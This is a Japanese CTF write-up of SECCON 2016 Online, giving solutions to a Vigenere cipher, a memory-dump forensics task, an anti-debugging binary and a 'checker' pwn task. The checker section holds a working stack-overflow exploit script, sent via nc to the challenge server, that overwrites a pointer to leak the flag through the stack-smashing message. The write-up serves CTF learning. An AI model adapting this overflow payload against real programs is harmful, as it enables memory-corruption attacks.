SECON 2016 Online CTFに参加していた

@hiwwさんのお誘いにより、12月10日・11日とでSECON 2016 Online CTFにTeam Harekazeで参加していました。 チームで8問解き、1300 points獲得、順位は61/930という結果でした。

私が解いた問題はVigenere, Memory Analysis, Anti-Debugging, checkerの4問で、どれも簡単な問題ばかりで既にWrite-upが書き尽くされて今更な状況ですが、一応メモ代わりにWrite-upを書いてみたいと思います。 Harekazeの他の3問のWrite-upは@st98_氏が、昨日書いてくれました

冷めきりかけていたCTF熱を少し取り戻すことができたように思います。また、二日目はほとんど参加できなくて、チームの皆様には申し訳なかったです。

Harekazeの活動は今後も続いていくので、よろしくお願いします。

Vigenere (Crypto, 100)

ヴィジュネル暗号は知っていましたが、解くまでに約50分もかかってしまいました。 競技中に整理しないで書いたコードなのできれいではないです。

import hashlib 

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"

def dec(k,c):
    tmp2 = ''
    for i,x in enumerate(c):
        tmp = table[table.index(k[i%len(k)]):]
        tmp += table[:len(table)-len(tmp)]
        tmp2+= table[tmp.index(x)]
    return tmp2

def solve():
    k_part = 'VIGENERE'
    c = 'LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ'

    for i1 in table:
        for i2 in table:
            for i3 in table:
                for i4 in table:
                    k = k_part + i1 + i2 + i3 + i4
                    assert(len(k)==len('????????????'))
                    p = dec(k,c)
                    #print p
                    if hashlib.md5(p).hexdigest() == 'f528a6ab914c1ecf856a1d93103948fe':
                        return (p,k)

if __name__ == '__main__':
    p,k = solve()
    print "p:",p
    print "k:",k
c: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}
k: VIGENERECODE

Memory Analysis (Forensics, 100)

Windows XPの物と思われるメモリダンプが与えられます。偽のsvchostがアクセスしてるサイトにflagがあるとのこと。

Hint2: Check the hosts file

とのことで、@st98_氏が素早くhostsを調査してくれました。

$ python vol.py -f forensic_100.raw filescan | grep hosts
Volatility Foundation Volatility Framework 2.5
0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts
$ python vol.py -f forensic_100.raw dumpfiles -Q 0x000000000217b748 -D . --name
$ strings file.None.0x819a3008.hosts.dat
# Copyright (c) 1993-1999 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
127.0.0.1       localhost
153.127.200.178    crattack.tistory.com

どう考えてもcrattack.tistory.comが怪しいのでstringsで力押し。

$ strings forensic_100.raw | grep ^http | grep crattack.tistory.com | sort | uniq
http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd
http://crattack.tistory.com/favicon.ico
http://crattack.tistory.com/trackback/90W
http:crattack.tistory.com

怪しいData-Science-import-pandas-as-pdをあたるとビンゴだったというわけです。

$ curl -H "Host: crattack.tistory.com" http://153.127.200.178/entry/Data-Science-import-pandas-as-pd
SECCON{h3110_w3_h4ve_fun_w4rg4m3}

Hostヘッダは最初念のためつけていましたが、後からHostヘッダはなくてもflagが降ってくることを確認しました。

Anti-Debugging (Binary, 100)

Windowsのexe問題。Windows環境があれば、OllyDbgとIDAですぐ解けます。

  1. anti-debugが入る前(0x4013A3あたり)でbreak
  2. eipを復号処理 0x401663に飛ばす
  3. check(0x401737)あたりでbreak
  4. flagはスタックに書いてある
SECCON{check_Ascii85}

ちゃんとやるならパッチをあてるとかですかね。

checker (Exploit, 300)

300点に問題ですが、やけにsolvesの伸びが早いと思ってみてみると、SSPの実行ファイル名のアドレスを上書きするだけでした。出題ミスとのこと。

pwntoolsすら使わないという自分の不勉強さがにじみ出る解答です。また、他の方のWrite-upを見ると、"Thank you"のところまでわざわざ持ってくる必要はなかったですね。 というか私のWrite-upは"Thank you"を出すために"SECCON"の"SE"を"S\0"で上書きしてしまっていますw。

#python -c "print 'S'*129+'\n'+'A'*383+'\n'+'A'*382+'\n'+'A'*381+'\n'+'A'*380+'\n'+'A'*379+'\n'+'A'*378+'\n'+'A'*377+'\n'+'A'*376+'\xc2\x10\x60\x00\x00\n'+'yes\n'+'S\x00\n'"|./checker

from subprocess import Popen, PIPE

p = Popen(['nc', 'checker.pwn.seccon.jp', '14726'], stdin=PIPE, stdout=PIPE)
#p = Popen(['./checker'], stdin=PIPE, stdout=PIPE)

a='S'*129+'\n'
b='A'*383+'\n'+'A'*382+'\n'+'A'*381+'\n'+'A'*380+'\n'+'A'*379+'\n'+'A'*378+'\n'+'A'*377+'\n'+'A'*376+'\xc2\x10\x60\x00\x00\n' # 0x6010c2: flag+2
#b= 'A'*375+'\n'
c='yes\n'
d = 'S\n'
print p.stdout.readline(),
print p.stdout.read(7),
p.stdin.write(a)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(3),

p.stdin.write(b)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(3),

p.stdin.write(c)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(7),
print p.communicate(d)[0]
$ python2 solve.py
Hello! What is your name?
NAME :
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you  know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Oh, Really??
Please tell me the flag!
FLAG : Thank you, SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS!!
*** stack smashing detected ***: CCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated